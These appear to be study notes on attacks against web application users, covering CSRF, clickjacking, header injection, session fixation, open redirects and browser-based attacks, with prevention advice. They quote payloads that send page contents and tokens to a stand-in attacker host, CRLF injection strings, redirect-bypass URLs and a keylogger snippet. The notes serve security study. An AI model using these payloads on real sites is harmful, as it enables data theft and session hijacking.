Attacking Users: Other Techniques

Inducing User Actions

• Request Forgery (session riding)
  • Description: Related to session hijacking attacks. The attacker never really knows the session token, but rather exploits normal behavior to hijack the user's token and make requests not intended by the user.
  • On-Site Request Forgery (OSRF)
    • Exploits Stored XSS vulnerabilities
    • May not be able to use quotation marks or angle brackets. One can still replace a URL with one that uses a function via a path and parameters.
      • SITE?username=USER&password=PASS&role=admin#
        • Does nothing for normal users
        • For admins, it creates an admin account.
    • NOTE: HTML-encoding characters does not defend against OSRF attacks, since browsers will decode the URL string before it is requested.
• Cross-Site Request Forgery
  • Create an innocuous website that causes the user's browser to submit a request to a vulnerable application and perform an unintended action.
  • Same-origin policy does not prevent one from issuing requests to different domains.
    • It does prevent the original site from processing responses to cross-domain requests.
  • Components that make requests vulnerable:
    • Privileged action takes place.
    • Relies solely on HTTP cookies for tracking sessions.
    • Attacker can determine all parameters required to perform the action.
  • Exploiting CSRF Flaws:
    • Review key functionality within an application
    • Find application function that can be used to perform sensitive actions
      • Must rely on cookies for tracking user sessions and use request parameters only (not any other tokens or unpredictable items)
    • Create HTML page that issues a crafted request without user interaction.
      • GET Requests: Can place an <img> tag with src attribute set to the vulnerable URL.
      • POST Requests: Can create a form with hidden fields for all attributes and then use JavaScript to autosubmit.
  • Authentication and CSRF
    • DSL Routers are often left with a default configuration and address, while also being vulnerable to CSRF. They do often require authentication though.
      • May be able to first submit request using default credentials.
  • Preventing CSRF Flaws
    • They exist because browsers automatically submit cookies back to the issuing web server with each request.
    • Can use additional methods of tracking sessions.
      • Additional tokens in hidden fields in HTML forms.
      • Verify correct token received in form submission.
      • Implemented safeguards for anti-CSRF tokens, just like normal session tokens.
      • Do not depend upon Referer header, as it can be spoofed.
  • Defeating Anti-CSRF Defenses Via XSS
    • If the app has XSS vulnerabilities, it's Anti-CSRF defenses may be beatable.
      • Can perform a two-way interaction with the application, thus can retrieve tokens from responses and submit them in subsequent ones.
      • If there are stored CSS flaws, JavaScript can be injected that will directly read tokens contained within the same response.
      • If page has anti-CSRF defenses while having a reflected XSS flaw
        • Initial request is cross-site
        • The request would already need to include the Anti-CSRF token.
        • If only parts of the site have anti-CSRF defenses, the vulnerability may be leveraged elsewhere.
        • Tied to User: Can force a user to first login as the attacker, then execute the XSS payload, with it causing the user to logout of the attacker's account (scripted) and then log back in as themselves (manually). This will compromise that session and the credentials.
        • Tied to Session: May be able to inject cookies into the user's browser. Just directly feed the current session token and its related anti-CSRF token and then proceed as the previous bullet point described.
• UI Redress
  • Description: Allow third-party to cause user actions despite anti-CSRF tokens. Often referred to as clickjacking or strokejacking. Involves the attacker's webpage to load the target application in an iframe. Whenever a user performs certain actions, they are unwittingly interacting with the target application.
    • Works because the anti-CSRF token is processed in the normal way. The attacker can't read the token, but the form still includes it in that iframe.
    • Can make it completely transparent and only a certain size.
  • Framebusting Defenses
    • Run a script to detect if loaded in an iframe. If so, try to bust out of the iframe or redirect to an error page, or even refuse to display the interface.
    • If checking if top level URL is same as current URL
      • Circumvent by redefining the location as a local variable in the top-level frame.
      • Can define a sandbox attribute upon loading the child frame, which disables scripting in the child frame.
      • Can hook the window.onbeforeunload event which will cause the attacker's event handler to run whenever the framebusting code tries to set the location of the top-level frame.
      • Can use the IE XSS filter to selectively disable the framebusting script in a child frame.
  • Preventing UI Redress
    • Framebusting may hinder UI Redress, but cannot be relied upon.
    • Use the X-Frame-Options response header
      • Deny - prevent page from being framed
      • Sameorigin - prevent framing by third-party domains

Capturing Data Cross-Domain

• Description: Cross-domain attacks are one-way, due to the Same-origin policy. Still, some techniques can be used to capture responses from a different domain.

• Capturing Data by Injecting HTML

  • Can submit limited HTML and still get some data back.
  • e.g. submit an unterminated img tag with an unterminated url src string.
    • <img src=' http://mdattacker.net/capture?html=
  • e.g. submit a form that will POST, which will result in all parameters being sent
    • <form action="http://mdattacker.net/capture&quot; method="POST">
    • Includes anti-CSRF token too!

• Capturing Data by Injecting CSS

  • Application probably encodes or blocks angle brackets.
  • Current versions of Internet Explorer are vulnerable to this.
  • Just CSS encode everything using an injected input
    • {}*{font-family:'
  • Then make a request to your own domain by appending the escaped and newly created stylesheet in the URL parameters. Example from book is as follows:
    • <link rel="stylesheet" href="https://wahh-mail.com/inbox&quot; type="text/ css">
    • <script>
      • document.write('<img src="http://mdattacker.net/capture?&#39; + escape(document.body.currentStyle.fontFamily) + '">');
    • </script>
• JavaScript Hijacking
  • Description: Can turn CSRF into a two-way attack in a limited fashion.
  • Function Callbacks
    • Can host your own site and call back to a function from another application. By redefining it, the attacker can access information from that other site.
  • JSON
    • Can override the default Array constructor in JavaScript if its an older version of a browser. By changing the Setter function, the attacker can invoke their own functionality. Not possible in browsers newer than 2006.
  • Variable Assignment
    • Can call a website and then alert in a subsequent script using any variable.
    • May have to call a function and then print out the nonce/token.
  • E4X
    • An extension to ECMAScript languages (including JavaScript) adding native support for XML.
    • Implemented in current Firefox versions.
    • Consequences for cross-domain data capture attacks:
      • A piece of XML markup is treated as a value that isn't assigned to any variable
      • Text nested in curly braces is executed as JavaScript to initialize part of the XML data.
    • Earlier versions of Firefox allowed for cross-domain script includes of full HTML responses with some embedded Javascript executed on the attacker domain.
      • Just like CSS injection attacks, may be able to inject text to wrap Javascript blocks that define XML and send them back to the attacker domain.
    • Does not work on current browsers.
  • Preventing JavaScript Hijacking
    • Use standard anti-CSRF defenses
    • Client code can use XMLHttpRequest to get raw responses and perform subsequent processing before executing as a script.
      • Can include invalid JavaScript at the start of a response, which the client application removes before processing.
    • If an application uses XMLHttpRequest to retrieve dynamic script code, it can use POST requests too. If only POST requests are allowed, third-party sites cannot include them using <script> tags.

The Same-Origin Policy Revisited

• The Same-Origin Policy and Browser Extensions
  • The Same-Origin Policy and Flash
    • Origin determined by the domain of the URL from which the object is loaded, not the URL of the HTML page that loads it.
    • Segregation still based on protocol, hostname, and port number
    • They can initiate cross-domain requests using the URLRequest API.
      • Can specify Content-Type header and send content in the body of POST requests.
      • Cookies passed in these requests, but the Flash object cannot read the responses by default.
    • Flash has means to grant permissions for performing two-way interaction, which is done usually by a policy file at /crossdomain.xml of the domain that grants the permission.
      • Flash object obtains this policyfile before attempting two-way interaction. Only allows the request if the domain, as referenced by the policy file, does.
    • Process:
      • Check for a /crossdomain.xml
      • If unrestricted access is allowed, any other site can perform two-way interaction, and ride on sessions of application users.
      • If access is only provided to subdomains or other domains, those domains can possibly be used as an instrument for performing XSS.
      • Policy files may also include intranet hostnames and other sensitive information
  • The Same-Origin Policy and Silverlight
    • Silverlight does not segregate origins based based on protocol or post.
      • Objects loaded via HTTP interact with HTTPS URLs on the same domain.
        • /clientaccesspolicy.xml
      • Same considerations of Flash apply to Silverlight, except that Silverlight doesn't allow an object to specify a nonstandard URL for the policyfile.
        • If no policyfile for Silverlight, it attempts to load a valid Flash policy file from the default location. If present, it is processed instead.
  • The Same-Origin Policy and Java
    • Uses a cross-domain policy file
      • Implements segregation between origins based on the browser's same origin policy.
      • Origin determined by the domain of the URL where the applet is loaded, not the URL of the HTML page loading it.
      • Other domains that share the IP address of the originating domain are considered to be same-origin under some circumstances.
        • Can lead to limited cross-domain interaction
      • Has no means for domains to publish a policy allowing interaction from other domains
• The Same-Origin Policy and HTML5
  • XMLHttpRequest allows requests to be issued only to the same origin as the invoking page. HTML5 modifies this to allow two-way interaction with other domains if they give permission to do so.
  • Permission for cross-domain interaction is permitted via HTTP headers
    • Normal requests are generated cross-domain using existing HTML constructs. They issue requests and inspect the response headers to see if the script should be allowed to access the response of the request.
      • Adds Origin header
      • The response includes a Access-Control-Allow-Origin header.
        • List of comma-separated domains and wildcards
    • Other requests generated using non-standard HTTP methods or Content-Type or with custom HTTP headers are handled differently.
      • Pre-validated using OPTIONS request
        • Access-Control-Request-Method: PUT
        • Access-Control-Request-Headers: X-PINGOTHER
      • Responses use headers like the following:
        • Access-Control-Allow-Origin: http://wahh-app.com
        • Access-Control-Allow-Methods: POST, GET, OPTIONS
        • Access-Control-Allow-Headers: X-PINGOTHER
        • Access-Control-Max-Age: 1728000
    • Some applications use XMLHttpRequest to make asynchronous requests
      • The retrieved file is dynamically loaded in a <div>
      • Can now specify a URL of a domain and perform client-side remote file inclusion attacks.
      • Provides new ways to perform or deliver attacks
        • Cross-domain port scanning
        • DDOS faster than older methods of cross-domain requests
• Crossing Domains with Proxy Service Applications
  • Google Translate (GT)
    • Requests an external URL and returns its contents.
    • If two different external domains are accessed via GT, the browser see it as the content from each external domain is in the GT domain.
      • So, two-way interaction can be carried out via the GT domain.
    • Still, if externally logged in, GT will not have the external cookies passed to its instance.
  • Example worm:
    • First runs and script checks if running in GT domain.
      • If not, reload current URL via GT domain
    • Request content from external domain via GT
      • Script is in GT domain, so two-way interaction can occur.
    • Script performs basic web scanner in JavaScript, probing for external domain persistent XSS flaws.
    • If vulnerability found, it is exploited and a copy of the worm is uploaded to the external domain
    • When another user is on the compromised domain, the script is executed and the worm propagates.

Other Client-Side Injection Attacks (p. 531)

• HTTP Header Injection
  • Occurs when.. User-controllable data inserted in HTTP header unsafely and returned by application.
    • Usually related to Location or Set-Cookie headers.
    • If newline character can be put into header, new headers can be added to the response body content can be added too.
      • using the carriage-return (0x0d) and/or line-feed (0x0a) characters
  • Exploiting Header Injection Vulnerabilities
    • Process:
      • For each instance, verify if URL-encoded carriage-return and line-feed can be passed via user-controllable input into the HTTP header.
      • Check if newline characters are in the response (not encoded)
      • If only one out of two new line characters is returned, an exploit may still be possible
      • If its blocking/sanitizing newline characters, try the following:
        1. foo%00%0d%0abar
        2. foo%250d%250abar
        3. foo%%0d0d%%0a0abar
    • Injecting Cookies
      • e.g. include the parameter in the url:
        1. In URL → Set-Cookie:+SessId%3d120a12f98e8;
        2. Response → "Set-Cookie: SessId=120a12f98e8;"
    • Delivering Other Attacks
      • Header Injection can be used to deliver many other attacks.
    • HTTP Response Splitting
      • Poison a proxy server's cache with malicious content and compromise other users accessing the application via the proxy.
      • Process:
        1. Choose a page to poison in the proxy cache.
        2. Locate a header injection vulnerability and create a request that injects an entire HTTP body into the response
           • Include set of response header and response body
           • Second response includes HTML source code for trojan login form.
        3. The server response looks exactly like two separate HTTP responses chained together
           • Splits server response into two separate responses.
        4. Open a TCP connection to a proxy server; send the crafted request.
           • Subsequent request is for page to be poisoned
        5. Proxy server opens TCP connection to the app, sending two requests pipelined in the same way
        6. The application responds to the first request with the attacker's injected HTTP content, looks exactly like two HTTP responses.
        7. Proxy server gets both responses and interprets the second as being the response to the attacker's second pipelined request.
           • Proxy caches this second response as the contents of this URL.
        8. Application issues its actual response to the attacker's second request, containing the authentic contents of the URL.
           • Doesn't recognize this as being a response to a request actually issued.
        9. User accesses the page stored in proxy cache, with the trojan login form, and the user credentials are compromised.
  • Preventing Header Injection Vulnerabilities
    • Don't allow user-controllable input in HTTP headers.
      • Input validation
        1. Context-dependent
      • Output validation
        1. Prevent malicious characters
• Cookie Injection
  • Delivery mechanisms:
    • Name and value in request parameters, setting them in a cookie in the response
    • Set-Cookie headers
    • XSS vulnerabilities
    • Man-in-the-middle attack
  • How cookies affect the user:
    • Affect application logic
    • Cookies may be trusted by client-side code
  • Session Fixation
    • Description: Some applications maintain an anonymous session before logging in. This is later upgraded to an authenticated session. In a session fixation attack, an attacker obtains an anonymous token, then uses some way to put the token in a victim's browser. After logging in, this token can be used to hijack a session.
      • How to transmit session tokens:
        1. Cookie injection techniques (mentioned previously)
        2. Feed in a url (if only passed as parameters)
        3. Placing session token into URL (if semicolon delimiter before it is allowed)
        4. CSRF attacks
    • Finding and Exploiting Session Fixation Vulnerabilities
      • How to find:
        1. Obtain a valid token
        2. Access a login form and perform a login using the token
        3. If login is successful and no token is issued, it is vulnerable to session fixation.
      • Alternative way to find:
        1. Obtain a valid token
        2. Walk through the app, up until submission of sensitive data and its displaying
        3. If token stays the same upon receiving sensitive data, the app is vulnerable to session fixation.
        4. If it's vulnerable, check to see if it accepts tokens that weren't previously issued.
    • Preventing Session Fixation Vulnerabilities
      • Upon moving from a nonsensitive to a sensitive app context, issue a new session token.
      • Possibly even use per-page tokens
      • Do not accept tokens that weren't previously issued
  • Open Redirection Vulnerabilities
    • Description: Taking user-controllable input and performing a redirection.
      • URL looks credible, but really isn't.
      • Example: Rickrolling someone.
    • Finding and Exploiting Open Redirection Vulnerabilities
      • Process:
        1. Identify all instances where an application redirects
           • Can use a 3xx status code and Location header
           • Refresh header and loading of an arbitrary URL
           • <meta> with http-equiv="refresh"
           • APIs in JavaScript
             • document.location
             • document.URL
             • document.open()
             • window.location.href
             • window.navigate()
             • window.open()
        2. Find where app pages make requests to actual pages
      • Note: Most redirects are not user-controllable. However, some functionalities may be controllable.
      • Blocking of Absolute URLs
        1. May block usage of "http://&quot; in the request.
        2. Examples that might bypass this (from book)
           • HtTp://mdattacker.net
           • %00http://mdattacker.net
           • http://mdattacker.net
           • //mdattacker.net
           • %68%74%74%70%3a%2f%2fmdattacker.net
           • %2568%2574%2574%2570%253a%252f%252fmdattacker.net
           • https://mdattacker.net
           • http:\mdattacker.net
           • http:///mdattacker.net
      • Addition of an Absolute Prefix
        1. If the application uses a user controllable string and prefixes it with "http://&quot; and the URL doesn't include a backslash after the domain name, its vulnerable:
           • http://mdsec.net/updates/72/?redir=.mdattacker.net
           • Redirects to: http://mdsec.net.mdattacker.net
        2. If there is a slash character, external domains cannot be redirected to, but same domain content is possible.
    • Preventing Open Redirection Vulnerabilities
      • Remove redirection entirely, and just use direct links
      • Maintain list of all valid URLs for redirection
      • Use relative URLs in all redirects if possible.
      • Use URLs relative to web root if possible.
        1. Prepend web root for all redirects
      • Use absolute URLs for all redirects if possible
  • Client-side SQL Injection
    • HTML5 supports client-side SQL databases.
      • Can store commonly used data on the client side.
      • Can work in offline mode,
    • Just craft input that includes an SQL injection attack in content like a subject line.
  • Client-side HTTP Parameter Pollution
    • The same HTTP Parameter Pollution attacks mentioned in chapter 9 are possible, in some cases, on the client-side.
    • May be able to construct URL with a known parameter, and with some applications, this new parameter can override the older one and override an expected action.
      • Create → delete

Local Privacy Attacks

• Persistent Cookies
  • Find all cookies identified during application mapping. If any Set-Cookie instruction contains an expires attribute, this causes the cookie to last until then.
  • If cookies contain sensitive data, a local attacker can capture that data.
• Cached Web Content
  • Application pages accessed via HTTP containing sensitive data must be reviewed for cache directives.
  • The following prevent caching:
    • Expires: 0
    • Cache-control: no-cache
    • Pragma: no-cache
  • If no cache directives are found, the page may be vulnerable to caching.
  • To check if its cached, check these default locations:
    • IE:
      • C:\Documents and Settings\<username?\Local Settings\Temporary Internet Files\Content.IE5
    • Firefox (windows):
      • C:\Documents and Settings\<username?\Local Settings\Application Data\Mozilla\Firefox\Profiles\<profile name>\Cache
    • Firefox (Linux)
      • /.mozilla/firefox/<profile name>/Cache
• Browsing History
  • Identify where sensitive data is passed in the URL
  • Verify data stored in browser history
• Autocomplete
  • Find all HTML code for forms with text fields with sensitive data captured
  • If autocomplete=off is not set, the data entered is stored within browsers
• Flash Local Shared Objects
  • Use plug-ins like BetterPrivacy to view LSO (Local shared object -- Flash Cookies) data
  • Review contents of the LSO data.
  • IE location:
    • C:\Users{username}\AppData\Roaming\Macromedia\Flash Player#SharedObjects{random}{domain name}{store name}{name of SWF file}
• Silverlight Isolated Storage
  • IE Location: C:\Users{username}\AppData\LocalLow\Microsoft\Silverlight\
  • Review the isolated storage data.
• Internet Explorer userData
  • Location: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low{random}
  • Review the contents in the folder above.
• HTML5 Local Storage Mechanisms
  • Stored via:
    • Session storage
    • Local storage
    • Database storage
  • Not fully specified, used, nor implemented at this time.
• Preventing Local Privacy Attacks
  • Avoid storing anything sensitive in persistent cookies.
  • Use suitable cache directives.
  • Never use URLs for sensitive data transmission
  • Set autocomplete=off for sensitive text input fields

Attacking ActiveX Controls

• Finding ActiveX Vulnerabilities
  • Classic software vulnerabilities
    • Buffer overflows
    • Integer bugs
    • Format string flaws
  • Dangerous methods:
    • LaunchExe(BSTR ExeName)
    • SaveFile(BSTR FileName, BSTR Url)
    • LoadLibrary(BSTR LibraryPath)
    • ExecuteCommand(BSTR Command)
  • Process:
    • Probe for vulnerabilities common in software like buffer ovreflows.
    • Attempt dangerous methods.
• Preventing ActiveX Vulnerabilities
  • Security-focused code reviews
  • Penetration tests
  • Don't expose dangerous methods calling out to the file system
  • Don't use user-controllable input in system calls
  • SiteLock Active Template Library templates allow developers to restrict using an ActiveX control to specific domain names

Attacking the Browser

• Logging Keystrokes
  • JavaScript can monitor all keys pressed
  • Book example:
    • <script>document.onkeypress = function () {window.status += .fromCharCode(window.event.keyCode);} </script>
  • Sometimes called "reverse strokejacking", child frames can grab focus from the top level window
    • onkeydown
    • onkeypress
• Stealing Browser History and Search Queries
  • JavaScript can perform brute-force exercised to find third-party sites recently visited by the user.
  • Dynamically create hyperlinks and use the getComputedStyle API to see if a link is colorized as visited or not.
• Enumerating Currently Used Applications
  • JavaScript can be used to check if the user is logged in.
  • If not authenticated, user requests to sensitive content will generate different and often expected responses.
    • If using JavaScript, it'll generate an error, so just look at parts of that response to see if authenticated or not.
• Port Scanning
  • JavaScript can perform port scans of hosts on the user's local network and other reachable networks.
  • If behind a corporate/home firewall, attackers can reach services not accessed by the internet.
  • If a server is running on a port, it returns HTML, resulting in a JavaScript error which can be detected by a port-scanning script.
  • Most browsers limit the ports accessible via HTTP requests
• Attacking Other Network Hosts
  • Scripts can be ran to fingerprint all discovered open ports/services to attack them
  • Can perform checks for specific content known to exist on routers/web servers
• Exploiting Non-HTTP Services
  • Can sometimes use browser to target non-HTTP services.
  • If the service allows the HTTP headers, an attacker can send content in a message body to non-HTTP services.
  • Required conditions:
    • non-HTTP service running on port not blocked by browsers
    • non-HTTP service tolerates unexpected HTTP headers
    • non-HTTP service echos part of request back in response (error messages included)
    • Browser accepts responses that have no valid HTTP headers
    • Browser ignores port number when segregating cross-origin access to cookies
• Exploiting Browser Bugs
  • If bugs exist in the browser or extensions, an attacker can exploit them via JavaScript or HTML.
• DNS Rebinding
  • Used to perform partial breach of same-origin restrictions. Enables a malicious site to interact with a different domain. Happens because segregations in the same-origin policy are based on domain names.
  • Process:
    • User visits malicious page. Browser resolves the attacker's domain name to the attacker's ip address.
    • Malicious page makes Ajax requests back to attacker's domain, allowed by same-origin policy. Attacker users DNS rebinding to cause browser to resolve the attacker's domain a second time, this time the domain name resolves to the third-party app IP.
    • Subsequent requests to the attacker's domain name are sent to the target application.
      • Same domain as the attacker's malicious page, so same-origin allows the script to get content and send back to the attacker.
• Browser Exploitation Frameworks
  • Many frameworks have been developed to exploit many possible attacks against end users.
  • Usually require a JavaScript hook placed into the victim's browser, using some vulnerability like an XSS.
  • Example actions:
    • Logging keystrokes
    • Hijacking session
    • Fingerprinting browser and exploiting vulnerabilities
    • Port scans
    • Attacking other web apps
    • Brute-forcing browser history
• Man-in-the-Middle Attacks
  • An attacker can intercept sensitive data if positioned properly.
  • With HTTPS, the attacker must be active
    • Change traffic on the fly
    • Can modify HTTP much more easily.
  • Content loaded via HTTP vs. HTTPS is usually treated as different origins.
  • Can use responses over plain HTTP to set/update cookie values
  • Some browser extentions don't segregate HTTP and HTTPS content.